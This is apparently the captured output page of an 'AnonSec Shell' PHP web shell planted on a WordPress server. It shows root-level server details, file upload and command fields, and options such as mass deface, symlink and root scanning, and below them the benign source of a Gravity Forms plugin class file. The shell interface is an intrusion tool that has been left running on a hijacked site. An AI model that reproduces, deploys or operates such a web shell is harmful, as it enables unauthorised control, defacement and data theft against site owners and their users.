AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 3.147.53.229   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/gravityforms/includes/assets/admin-dependencies/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/gravityforms/includes/assets/admin-dependencies/class-gf-admin-script-dependencies.php
<?php

namespace Gravity_Forms\Gravity_Forms\Asset\Admin_Dependencies;

use Gravity_Forms\Gravity_Forms\GF_Service_Container;
use Gravity_Forms\Gravity_Forms\GF_Service_Provider;

/**
 * Class GF_Admin_Script_Dependencies
 *
 * @since 2.6
 *
 * @package Gravity_Forms\Gravity_Forms\Assets\Admin_Dependencies;
 */
class GF_Admin_Script_Dependencies extends GF_Admin_Dependencies {

	/**
	 * Items to enqueue globally in admin.
	 *
	 * @since 2.6
	 *
	 * @var string[]
	 */
	protected $items = array(
		'gform_gravityforms_admin',
	);

	/**
	 * Enqueue the item by handle.
	 *
	 * @since 2.6
	 *
	 * @param $handle
	 *
	 * @return void
	 */
	protected function do_enqueue( $handle ) {
		wp_enqueue_script( $handle );
	}

	/**
	 * Whether the global scripts should enqueue.
	 *
	 * @since 2.6
	 *
	 * @return bool
	 */
	protected function should_enqueue() {
		/***
		 * The newer JavaScript added in 2.5 is now enqueued globally in the admin.
		 * We implemented this as we are now using code splitting to only inject JavaScript
		 * dynamically as it is needed, and to also allow our addons easy access to the core libraries
		 * we use.
		 *
		 * This filter allows users to make our admin scripts only load on Gravity Forms admin screens.
		 * Setting it to false may cause unexpected behavior/feature loss in some addons or core.
		 *
		 * @since 2.6.0
		 *
		 * @param bool true Load admin scripts globally?
		 *
		 * @return bool
		 */
		return apply_filters( 'gform_load_admin_scripts_globally', true );
	}
}

Anon7 - 2022
AnonSec Team